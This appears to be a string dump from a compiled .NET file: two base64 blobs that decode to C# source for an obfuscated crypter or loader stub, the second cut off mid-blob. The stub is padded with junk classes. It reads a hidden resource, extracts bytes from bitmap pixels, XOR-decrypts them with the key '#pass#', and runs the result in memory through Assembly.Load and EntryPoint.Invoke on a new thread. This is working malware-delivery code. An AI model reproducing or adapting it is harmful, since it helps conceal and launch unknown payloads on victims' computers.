EWGpSVEE7DQp3c0RMTEFTQ0J1SFhHYkRYalJUQSA9IDEuNDA0MjU1RSsyODsNCkNvbnNvbGUuV3JpdGVMaW5lKHdzRExMQVNDQnVIWEdiRFhqUlRBLlRvU3RyaW5nKCkuVG9Mb3dlcigpKTsNCn1mbG9hdCBzUGVLRWMgPSAtNS42MzQzMTFFLTIwRjsgCnN0cmluZyBKeWxIQVogPSAidmFqeW5MIjsgCiBDb25zb2xlLldyaXRlTGluZShKeWxIQVopO3NieXRlIFVuSlh4aSA9ICAtOTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgRmhqYnhWKCl7DQpieXRlIEtmaW5IdyA9ICAyMzI7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBFRU5pS2YgPSAgLTEwOTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IENEWll2VSA9IDg4OTQ7IAp3aGlsZShDRFpZdlUgPT0gODg5NCl7DQpDRFpZdlUgPSBDRFpZdlUgKyAzMjE2ODY7DQp9ZG91YmxlIE9ubHlGUiA9IDEuNjQyOTA2RS0zNTsgCk9ubHlGUiA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbmgoLTUpKTsNCnVzaG9ydCBnQlZ1bkQgPSAzNzU3NjsgCnVsb25nIE9EdWFxTSA9IDE1NTEzNDY1MzQ5OTYzNTE5OyAKDQp9cHVibGljIHZvaWQgR093Tm9SKCl7DQpzaG9ydCBxSEdCU3UgPSAtMjgxOTE7IAogYnl0ZVtdIHFIR0JTdXFIR0JTdSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygicUhHQlN1Iik7dWludCB0QlBQV1UgPSAzMTsgCmRvdWJsZSBXYkNoSHMgPSAtMS44OTM3NjJFKzA4OyAKd2hpbGUoV2JDaEhzID09IDcuODY2NDk0RSsxOSl7DQpkb3VibGUgTVVJbGZEZ1dwcktLRnhyQnZiZ2plc1FTRFZ0dyA9IC0xLjE4NTUyOEUrMDg7DQpXYkNoSHMgPSBNYXRoLlJvdW5kKE1VSWxmRGdXcHJLS0Z4ckJ2YmdqZXNRU0RWdHcgLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9c2J5dGUgT2dleWF4ID0gIC05ODsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IEhVS3dxcyA9IDQwMTI3MjMyOyAKaWYoSFVLd3FzID09IDc5NDQzMyl7DQpIVUt3cXMgKz0gNzU0NDQxOw0KfWRvdWJsZSBIQXdEc1AgPSA5LjIzNTEyNkUrMjk7IApIQXdEc1AgPSBNYXRoLkNlaWxpbmcoTWF0aC5Db3NoKDUpKTsNCnRyeXsNCg0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn0KfSBwdWJsaWMgY2xhc3MgVUxiWWVle3B1YmxpYyB2b2lkIGFhdHNDRSgpew0KYnl0ZSBHY0phZ0YgPSAgMjA3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgY3dMY1d0ID0gODIwNDc3NTgzMzUzMzgwMTY7IAppbnQgR0ppUVVMID0gNDM2MTkxOyAKd2hpbGUoR0ppUVVMID09IDQzNjE5MSl7DQpHSmlRVUwgKz0gMjA3Mjc1Ow0KfXNob3J0IEthQnNYZiA9IC0xODMxNTsgCiBieXRlW10gS2FCc1hmS2FCc1hmID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJLYUJzWGYiKTtzaG9ydCBWQ0VEUEggPSAyMDQzMzsgCiBieXRlW10gVkNFRFBIVkNFRFBIID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJWQ0VEUEgiKTtzYnl0ZSBNcG5laEwgPSAgLTY7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIE9od2dxeigpew0KaW50IHNlY1BkVyA9IDU2OTIyMjYwOyAKd2hpbGUoc2VjUGRXID09IDU2OTIyMjYwKXsNCnNlY1BkVyA9IHNlY1BkVyArIDkzNzAxNjsNCn1sb25nIEt3YkJkZSA9IDQ3NzAxMDUzNzE3MjQ1NTk2OyAKaW50IG1tWkZWTCA9IDE0NTUxNTQ0ODsgCmlmKG1tWkZWTCA9PSA4NjMwMzQpew0KbW1aRlZMID0gbW1aRlZMICsgOTg5NTU4Ow0KfWludCBJZ29ySUggPSAzNzsgCndoaWxlKElnb3JJSCA9PSAzNyl7DQpJZ29ySUggPSBJZ29ySUggKyA3NzczNjM7DQp9dWxvbmcgaHR0eGdLID0gNTY0NDY1MTA0Mzk4MTM5MjM7IApkb3VibGUgS2JzdnNKID0gNC43MjEwMzFFLTI2OyAKaWYoS2JzdnNKID09IDkuMTYxNTYzRS0yOSl7DQpLYnN2c0ogPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0Kb2JqZWN0IE5DWFltdnF4VlRReUZsbnNJWHBpR207DQpOQ1hZbXZxeFZUUXlGbG5zSVhwaUdtID0gLTEuMjY4NzE4RS0xNDsNCkNvbnNvbGUuV3JpdGVMaW5lKE5DWFltdnF4VlRReUZsbnNJWHBpR20uVG9TdHJpbmcoKS5Ub0xvd2VyKCkpOw0KfQ0KfXB1YmxpYyB2b2lkIGxYdGV4Vigpew0Kc2hvcnQgVXh1cHdSID0gLTMxNDU7IAogYnl0ZVtdIFV4dXB3UlV4dXB3UiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiVXh1cHdSIik7Ynl0ZSBtS2Zpd00gPSAgNjY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIEFrTm1PaCA9IDE0NzUyNDcwMDQ3ODM2MDY3OyAKaW50IFFIclFKVSA9IDI3OTIwNzsgCndoaWxlKFFIclFKVSA9PSAyNzkyMDcpew0KUUhyUUpVICs9IDU2NDQ1ODsNCn1ieXRlIG9DV2ZPTyA9ICA4OTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIHJLRHdxcyA9ICAtMzc7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIHFhdU5XVSgpew0KdXNob3J0IEh0cHNUZCA9IDE3NDY1OyAKc2hvcnQgSUpzS0RQID0gLTE5NzM7IAogYnl0ZVtdIElKc0tEUElKc0tEUCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiSUpzS0RQIik7c3RyaW5nIG1US2VJRyA9ICJPQWx2TGUiOyAKIENvbnNvbGUuV3JpdGVMaW5lKG1US2VJRyk7dWludCBOdkNWSkQgPSA0NjMwNDc7IApzaG9ydCB5TU9IYXggPSA5MTI0OyAKIGJ5dGVbXSB5TU9IYXh5TU9IYXggPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInlNT0hheCIpO2Zsb2F0IElQTmdRcyA9IDIuMTYzMzdFLTMxRjsgCg0KfXB1YmxpYyB2b2lkIEhWekJVVCgpew0KZmxvYXQgdEVVWHV5ID0gLTUuMjMxMjc2RS0zNEY7IApzYnl0ZSB6RldWWVMgPSAgMTA3OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgbHNzTGlvID0gLTUuNTc5MDQyRS0wODsgCmlmKGxzc0xpbyA9PSAtNzI2NDYuMTUpew0KZG91YmxlIFJvdnpZQ2tpSG53VkllVUhGeHpUYU1ZTmtDciA9IDE0NzMyNDM7DQpsc3NMaW8gPSBNYXRoLkNlaWxpbmcoUm92ellDa2lIbndWSWVVSEZ4elRhTVlOa0NyKTsNCnRyeXsNCkNvbnNvbGUuV3JpdGVMaW5lKGxzc0xpby5Ub1N0cmluZygpKTsNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KQ29uc29sZS5Xcml0ZUxpbmUoZXguTWVzc2FnZSk7DQp9DQp9Ynl0ZSBRU05YcWogPSAgMjE4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBzU01ZdnYgPSAyOTM4MzgzMzQ3MzQ3MjE3ODsgCmRvdWJsZSBiR3hYSFQgPSAtMS4zNjU2MzRFKzI1OyAKZG91YmxlIHRoVUxlUUF4VFhVQ1hsZmN6cyA9IE1hdGguTG9nKDEwMDAsIDEwKTsNCmJHeFhIVCA9IHRoVUxlUUF4VFhVQ1hsZmN6czsNCkNvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBCWWtOcE8oKXsNCnVpbnQga05WcmlPID0gNjM2MjcyNTAyOyAKc3RyaW5nIFBjaWdORiA9ICJGTEtKaE8iOyAKIENvbnNvbGUuV3JpdGVMaW5lKFBjaWdORik7bG9uZyBnZWlsVlogPSA1MDA0ODcxMTY4OTM4MzI4ODsgCnVzaG9ydCBLTlpOT0sgPSAzNDg5OTsgCmxvbmcgTGtjeHdyID0gMTAxMDg3MzAzNDI5OTg4NTE7IApsb25nIGhITnBIRSA9IDMyMjk1MTY0NzY3Nzg3MDkwOyAKDQp9Cn0gDQoNCiAgICBjbGFzcyBQcm9ncmFtDQogICAgew0KDQogICAgICAgIHN0YXRpYyBzdHJpbmcgV1RWZlpWU1hMdE5OUCA9ICIjcGFzcyMiOw0KICAgICAgICBwcml2YXRlIHN0YXRpYyBieXRlW10geVphQnByTihieXRlW10gYnl0ZXMpDQogICAgICAgIHsNCiAgICAgICAgICAgIGJ5dGVbXSBieXRlQXJyYXkgPSBFbmNvZGluZy5Vbmljb2RlLkdldEJ5dGVzKFdUVmZaVlNYTHROTlApOw0KICAgICAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBieXRlcy5MZW5ndGg7IGkrKykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBieXRlc1tpXSBePSBieXRlQXJyYXlbaSAlIDE2XTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBieXRlczsNCiAgICAgICAgfQ0KCQkNCgkJcHJpdmF0ZSBzdGF0aWMgYnl0ZVtdIENvbnZlcnRGcm9tQm1wKFN5c3RlbS5EcmF3aW5nLkJpdG1hcCBiKQ0KICAgICAgICB7DQogICAgICAgICAgICBpbnQgbCA9IGIuV2lkdGg7DQogICAgICAgICAgICBpbnQgbiA9IGwgKiBsICogNDsNCiAgICAgICAgICAgIGJ5dGVbXSBidWZmID0gbmV3IGJ5dGVbbl07DQogICAgICAgICAgICBpbnQgayA9IDA7DQoNCiAgICAgICAgICAgIGZvciAoaW50IHggPSAwOyB4IDwgbDsgeCsrKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGZvciAoaW50IHkgPSAwOyB5IDwgbDsgeSsrKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQnVmZmVyLkJsb2NrQ29weShCaXRDb252ZXJ0ZXIuR2V0Qnl0ZXMoYi5HZXRQaXhlbCh4LCB5KS5Ub0FyZ2IoKSksIDAsIGJ1ZmYsIGssIDQpOw0KICAgICAgICAgICAgICAgICAgICBrICs9IDQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpbnQgbGVuID0gQml0Q29udmVydGVyLlRvSW50MzIoYnVmZiwgMCk7DQogICAgICAgICAgICBieXRlW10gZiA9IG5ldyBieXRlW2xlbl07DQogICAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KGJ1ZmYsIDQsIGYsIDAsIGYuTGVuZ3RoKTsNCiAgICAgICAgICAgIHJldHVybiBmOw0KICAgICAgICB9DQoJCQ0KCQkNCgkJc3RhdGljIGJ5dGVbXSBiREdGSzsNCgkJcHVibGljIHN0YXRpYyB2b2lkIE9YaUhOQ2FVTVpXYU9xc04oKQ0KCQl7DQoJCQlBc3NlbWJseS5Mb2FkKGJER0ZLKS5FbnRyeVBvaW50Lkludm9rZShudWxsLCBuZXcgb2JqZWN0W10geyBuZXcgc3RyaW5nW10geyB9IH0pOw0KCQl9DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCgkJc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFJlc291cmNlKEludFB0ciBoTW9kdWxlLCBJbnRQdHIgbHBOYW1lLCBJbnRQdHIgbHBUeXBlKTsNCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvcj10cnVlKV0NCgkJc3RhdGljIGV4dGVybiB1aW50IFNpemVvZlJlc291cmNlKEludFB0ciBoTW9kdWxlLCBJbnRQdHIgaFJlc0luZm8pOw0KCQkNCgkJW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkUmVzb3VyY2UoSW50UHRyIGhNb2R1bGUsIEludFB0ciBoUmVzSW5mbyk7DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCgkJc3RhdGljIGV4dGVybiBJbnRQdHIgTG9ja1Jlc291cmNlKEludFB0ciBoUmVzRGF0YSk7DQoJCQ0KDQoJCXB1YmxpYyBzdGF0aWMgQml0bWFwIEJ5dGUySW1hZ2UoYnl0ZVtdIGltZykNCiAgICAgICAgew0KICAgICAgICAgICAgdXNpbmcgKHZhciBzdHJlYW0gPSBuZXcgTWVtb3J5U3RyZWFtKGltZykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBCaXRtYXAoc3RyZWFtKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCQkNCiAgICAgICAgc3RhdGljIHZvaWQgTWFpbigpDQogICAgICAgIHsNCiAgICAgICAgICAgIHRyeQ0KICAgICAgICAgICAgewkJDQoJCQkJSW50UHRyIGZSZXNvdXJjZSA9IEZpbmRSZXNvdXJjZShuZXcgSW50UHRyKDApLCBuZXcgSW50UHRyKDE0MCksIG5ldyBJbnRQdHIoMjMpKTsNCgkJCQl1aW50IHNSZXNvdXJjZSA9IFNpemVvZlJlc291cmNlKG5ldyBJbnRQdHIoMCksIGZSZXNvdXJjZSk7DQoJCQkJSW50UHRyIGxSZXNvdXJjZSA9IExvYWRSZXNvdXJjZShuZXcgSW50UHRyKDApLCBmUmVzb3VyY2UpOw0KCQkJCUludFB0ciBkUmVzb3VyY2UgPSBMb2NrUmVzb3VyY2UobFJlc291cmNlKTsNCgkJCQkNCgkJCQliREdGSyA9IG5ldyBieXRlW3NSZXNvdXJjZV07DQoJCQkJU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWwuQ29weShkUmVzb3VyY2UsIGJER0ZLLCAwLCBTeXN0ZW0uQ29udmVydC5Ub0ludDMyKHNSZXNvdXJjZSkpOw0KCQkJCWJER0ZLID0geVphQnByTihDb252ZXJ0RnJvbUJtcChCeXRlMkltYWdlKGJER0ZLKSkpOw0KCQkJCQ0KCQkJCVN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkIHRociA9IG5ldyBTeXN0ZW0uVGhyZWFkaW5nLlRocmVhZChPWGlITkNhVU1aV2FPcXNOKTsNCgkJCQl0aHIuU3RhcnQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNhdGNoDQogICAgICAgICAgICB7DQoNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCgkNCglwdWJsaWMgY2xhc3MgVVJSe3B1YmxpYyB2b2lkIE9ucSgpew0KdWxvbmcgbFpPID0gMzk4OTY5NzAxMDQyNDM2ODQ7IApzdHJpbmcgaEZrID0gIktFUSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoaEZrKTt1bG9uZyBmcXQgPSA3NTEwNDQ5Nzg3OTA5Mzc2OTsgCg0KfXB1YmxpYyB2b2lkIHNORygpew0KYnl0ZSBIc2UgPSAgOTY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzdHJpbmcgZ0JlID0gIk1aRiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoZ0JlKTtpbnQgY3RPID0gMjU1NTYxMzU2OyAKaWYoY3RPID09IDI0MzgwKXsNCmN0TyArPSA2OTEyMTY7DQp9DQp9cHVibGljIHZvaWQgdFdJKCl7DQp1c2hvcnQgS29iID0gMzU1OTU7IApmbG9hdCB4ZkQgPSAtNC41MjMyNTlFLTMzRjsgCnNieXRlIHFMWSA9ICAxMjI7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfQp9IHB1YmxpYyBjbGFzcyBJdWZ7cHVibGljIHZvaWQgVkFQKCl7DQpmbG9hdCBKYmUgPSAxLjYwNTA0M0UrMzVGOyAKaW50IHJOQiA9IDg2MDMxOTc5OyAKaWYock5CID09IDQ0NDM1Nyl7DQpyTkIgPSAzOTk1NDc7DQp9c2hvcnQgSkNVID0gLTIxMDc4OyAKIGJ5dGVbXSBKQ1VKQ1UgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkpDVSIpOw0KfXB1YmxpYyB2b2lkIERHTygpew0Kc3RyaW5nIGlSVCA9ICJkd1MiOyAKIENvbnNvbGUuV3JpdGVMaW5lKGlSVCk7c2J5dGUgcVJZID0gIDYyOyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCBUdlMgPSAtOTU2MDsgCiBieXRlW10gVHZTVHZTID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJUdlMiKTsNCn1wdWJsaWMgdm9pZCBqbkIoKXsNCmJ5dGUgVnVaID0gIDQxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIElnQiA9IC0xLjI2MzIwN0UtMjM7IAp3aGlsZShJZ0IgPT0gMi41NjU2OTZFKzA3KXsNCmRvdWJsZSBVR1p1TFN1bklCc0JnQiA9IC0yLjE2Nzg3OEUtMTc7DQp0cnl7DQoNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9aW50IFZQRyA9IDU3MDU0OyAKaWYoVlBHID09IDY2NDg1NCl7DQpWUEcgPSAzMTMwNjQ7DQp9DQp9Cn0gcHVibGljIGNsYXNzIG1wQXtwdWJsaWMgdm9pZCBneWsoKXsNCnVpbnQgTGpwID0gNTc7IAp1c2hvcnQgTWxnID0gMzc5MTY7IApzYnl0ZSBDd24gPSAgLTc3OyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBudnooKXsNCnNob3J0IENlZCA9IC0xODkzNjsgCiBieXRlW10gQ2VkQ2VkID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJDZWQiKTt1bG9uZyB0UE4gPSAxMjE2ODAwNTY4MDE4NDcyMjsgCmxvbmcgTUpDID0gNTQ4ODQ4NzQwNzM3MzQ2MTk7IAoNCn1wdWJsaWMgdm9pZCBHbWcoKXsNCmxvbmcgRWxmID0gMzIyMzI2NjYxNDI3ODA5MjM7IApieXRlIENQaCA9ICA4OTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgTGlhID0gIDE3MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfQp9IA0KfQ==
umW
ymV
zNk
System.Management.dll
VarFileInfo
dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLklPOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uUmVmbGVjdGlvbjsNCnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7DQp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQp1c2luZyBTeXN0ZW0uRHJhd2luZzsNCg0KbmFtZXNwYWNlIEhwY2J5Q3Bqanlleg0Kew0KCXB1YmxpYyBjbGFzcyB3ZEVEUlB7cHVibGljIHZvaWQgWHBPSGVvKCl7DQpkb3VibGUganBYZXlZID0gLTEuMzQzOTg0RS0zMzsgCmpwWGV5WSA9IE1hdGguUG93KGRvdWJsZS5OZWdhdGl2ZUluZmluaXR5LCAyKTsNCiBib29sPyB1TU9BeGJ6QnVuID0gbmV3IGJvb2w/KCk7DQp1TU9BeGJ6QnVuID0gdHJ1ZTtkb3VibGUgbG1kZHFxID0gNi4xMjc3NjZFKzIyOyAKd2hpbGUobG1kZHFxID09IDEuMDA5OTMxRSszOCl7DQpsbWRkcXEgPSBNYXRoLlRydW5jYXRlKGxtZGRxcSk7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShsbWRkcXEuVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfQ0KfXVsb25nIG5XbW9ZciA9IDMwNTYxMDM2MDc2NDYxNzkyOyAKbG9uZyBFZWFkcmYgPSAxMTU1MTYzNzM3NjE4NTY1ODsgCmxvbmcgU3BUTkZSID0gMjc2OTM4NDgyMDA3MTgzMjM7IApieXRlIEZ0V3JZciA9ICAxNzQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCB3TlN6dmkoKXsNCnNob3J0IFN6em1yUiA9IDEwMzIxOyAKIGJ5dGVbXSBTenptclJTenptclIgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlN6em1yUiIpO3N0cmluZyB2elZTSUwgPSAiVnVHZ1hMIjsgCiBDb25zb2xlLldyaXRlTGluZSh2elZTSUwpO3VpbnQgUWdyeW9CID0gNjY5MzsgCnNob3J0IFpUbm5GdyA9IC0yOTUxNDsgCiBieXRlW10gWlRubkZ3WlRubkZ3ID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJaVG5uRnciKTtmbG9hdCBpZXJ4RXAgPSA1LjUyMzQ2M0UrMjJGOyAKdWludCBPampUVUggPSA0MjE0NjQ0MjQ7IAoNCn1wdWJsaWMgdm9pZCBJSkRqY2YoKXsNCmxvbmcgRHNqTGxaID0gMTg5NjUzNzI5NDE5ODcxNDE7IApzaG9ydCBOdnNJUnEgPSAxMjg1MTsgCiBieXRlW10gTnZzSVJxTnZzSVJxID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJOdnNJUnEiKTtpbnQgeU95ZWVnID0gMTQxNDA4OyAKaWYoeU95ZWVnID09IDk0MDc2MCl7DQp5T3llZWcgPSA0NTU3Mjc7DQp9dXNob3J0IHhSbWVkUiA9IDI4OTk3OyAKdWludCBXQ2VBU1QgPSAyNDYxNzg1NjE7IApkb3VibGUgcGJHRXl0ID0gNC42MDE2MUUrMjA7IApkb3VibGUgd0dOTVZJQVVacFZzID0gTWF0aC5Mb2coMTAwMCwgMTApOw0KcGJHRXl0ID0gd0dOTVZJQVVacFZzOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9cHVibGljIHZvaWQgdkRFY0tNKCl7DQp1c2hvcnQgSHNGbWZGID0gMjE2OTg7IApzaG9ydCBtemJBWUQgPSAtMTUzMjg7IAogYnl0ZVtdIG16YkFZRG16YkFZRCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygibXpiQVlEIik7dWludCBjVEhWZXIgPSA4ODU1OyAKc2J5dGUgZ0t3SGxTID0gIC0xMTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWludCBCb3BYY3cgPSAyNzk3MzcwNDY7IAp1aW50IFRzbFR6QyA9IDUxMTQ1MjM2MTsgCg0KfXB1YmxpYyB2b2lkIHluY25saSgpew0KYnl0ZSBxcnBNbWUgPSAgOTg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgbW5Kd1hjID0gNTU2NzA7IApzdHJpbmcgbVJ1bkdrID0gInBPaEdwTyI7IAogQ29uc29sZS5Xcml0ZUxpbmUobVJ1bkdrKTtmbG9hdCBqaE1OY1ggPSAtMzI3MC4zNjNGOyAKZmxvYXQgZkdaS3J5ID0gLTEuMjQ1ODA5RS0xNUY7IAp1aW50IEtKRkxDZyA9IDQyNzY3NTsgCg0KfXB1YmxpYyB2b2lkIFB2aU9PZygpew0KYnl0ZSB4cHROV2cgPSAgMjEwOyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IFFmY0h6ZCA9IDMxNTA4OTsgCmlmKFFmY0h6ZCA9PSA0MTYxOTgpew0KUWZjSHpkICs9IDY4NjY1OTsNCn11aW50IHNobXJETSA9IDkyODk7IApmbG9hdCBJbE1uZlogPSA4ODA2MjQ5RjsgCnVzaG9ydCB5blFzcEcgPSAxNzg0MzsgCmludCB2UlNuekEgPSA1Mjc3NTM5ODk7IAp3aGlsZSh2UlNuekEgPT0gNTI3NzUzOTg5KXsNCnZSU256QSA9IHZSU256QSArIDk5MjM5NDsNCn0NCn0KfSBwdWJsaWMgY2xhc3MgQWZJZXdxe3B1YmxpYyB2b2lkIE5SSndDTSgpew0KdWludCBUQWJGQ3kgPSAzMDQ4NzY4ODsgCmludCB2YUxxUEMgPSA0MzsgCmlmKHZhTHFQQyA9PSA4NTYzNzApew0KdmFMcVBDID0gNzA3MDI4Ow0KfWludCBKdXp4REQgPSAzNjExMTc4NjsgCmlmKEp1enhERCA9PSA3OTEwMjYpew0KSnV6eEREID0gNjIzNTU1Ow0KfWRvdWJsZSBzemxudmcgPSA3LjA5MjI4MUUrMzY7IAp3aGlsZShzemxudmcgPT0gOC44OTU0MTdFKzEwKXsNCnN6bG52ZyA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbigyKSk7DQogYm9vbD8gd0NIZlYgPSBuZXcgYm9vbD8oKTsNCndDSGZWID0gdHJ1ZTsNCn1ieXRlIGR2ZWxRSSA9ICAxMjU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSB1a2VycXQgPSAgMTAyOyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBHeUxrTmQoKXsNCmZsb2F0IHB0aWxDcSA9IDEuMjAzMDc4RSsyOUY7IAp1bG9uZyBtRm1OeHQgPSA3MjI1NTE2NTEzMDA4NjQ3NzsgCmRvdWJsZSBlVWhLeVogPSA0LjMwNTk0MUUtMzg7IAplVWhLeVogPSBNYXRoLlBvdygyLCAyLjEpOw0KQ29uc29sZS5Xcml0ZUxpbmUoZVVoS3laLlRvU3RyaW5nKCkpO2RvdWJsZSBCWHJvQlEgPSAxLjIzMDI3NUUtMzA7IApCWHJvQlEgPSBNYXRoLkV4cCgyKTsNCkNvbnNvbGUuUmVhZExpbmUoKTt1aW50IFlBblZjTCA9IDY5MjEwNjE1NzsgCmludCBrbkNNb3cgPSA4MjMyNzU2MzsgCmlmKGtuQ01vdyA9PSAzMjc1Njcpew0Ka25DTW93ID0ga25DTW93ICsgNTE4OTE1Ow0KfQ0KfXB1YmxpYyB2b2lkIERUVE53Rigpew0KZG91YmxlIEpKb0hFeiA9IC0xLjc0MzE4RS0zODsgCmlmKEpKb0hFeiA9PSAtOC4yMjk5NDdFKzI0KXsNCkpKb0hFeiA9IE1hdGguQ2VpbGluZyhNYXRoLkNvcygyKSk7DQp0cnl7DQoNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9DQp9c3RyaW5nIEFnZ05FZiA9ICJWcUR1ZkciOyAKIENvbnNvbGUuV3JpdGVMaW5lKEFnZ05FZik7aW50IG11d1F0QSA9IDI0OyAKaWYobXV3UXRBID09IDQ1MTU1MSl7DQptdXdRdEEgPSBtdXdRdEEgKyA5NDUwMDc7DQp9bG9uZyBua2pIUEkgPSA0NDM0OTI0ODIxODg1MDg4ODsgCnVsb25nIGV6TXRCSyA9IDQ2MzQ4NjcyNTMwMDg2NTExOyAKc2hvcnQgSXV1ekJ4ID0gMTc1MDg7IAogYnl0ZVtdIEl1dXpCeEl1dXpCeCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiSXV1ekJ4Iik7DQp9cHVibGljIHZvaWQga3VBWmdTKCl7DQppbnQgQkNDa0pvID0gNTY2MzsgCndoaWxlKEJDQ2tKbyA9PSA1NjYzKXsNCkJDQ2tKbyA9IEJDQ2tKbyArIDIzNTAwMjsNCn11c2hvcnQgRURBQ1luID0gMTMxOTsgCnVsb25nIG9CTFFpcSA9IDU4NTE3ODUwODYxNTUyNjEzOyAKdXNob3J0IFh6VHFHSyA9IDQ3MzcxOyAKZmxvYXQgdVFYVmxiID0gLTYuNTkyODM2RS0xNUY7IApzaG9ydCBiVFhwTUcgPSAxMDAwNzsgCiBieXRlW10gYlRYcE1HYlRYcE1HID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJiVFhwTUciKTsNCn1wdWJsaWMgdm9pZCBIZFFLSFMoKXsNCmZsb2F0IHNpRGdtcSA9IDEuNTYxMzEyRS0zOEY7IAp1c2hvcnQgYkdzb0RjID0gNDYwMzY7IApsb25nIFRSeEpiQyA9IDgxOTYyNTAwNTk3MjY2MTE3OyAKZmxvYXQgcFlhQ1R4ID0gNC41NzcwOTJFKzEwRjsgCnN0cmluZyBGemlXcWMgPSAiZ1BBWXV1IjsgCiBDb25zb2xlLldyaXRlTGluZShGemlXcWMpO3N0cmluZyBOckhEU3cgPSAiWFl0bGJGIjsgCiBDb25zb2xlLldyaXRlTGluZShOckhEU3cpOw0KfXB1YmxpYyB2b2lkIGdxSG9BTSgpew0KdWxvbmcgV3dGa0pzID0gMTk3MTMwODQ3MjczNDI4MDg7IApieXRlIHloeEF6ZyA9ICAxOTI7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgWWl6cENYID0gMjk4OTY3NzA7IAp3aGlsZShZaXpwQ1ggPT0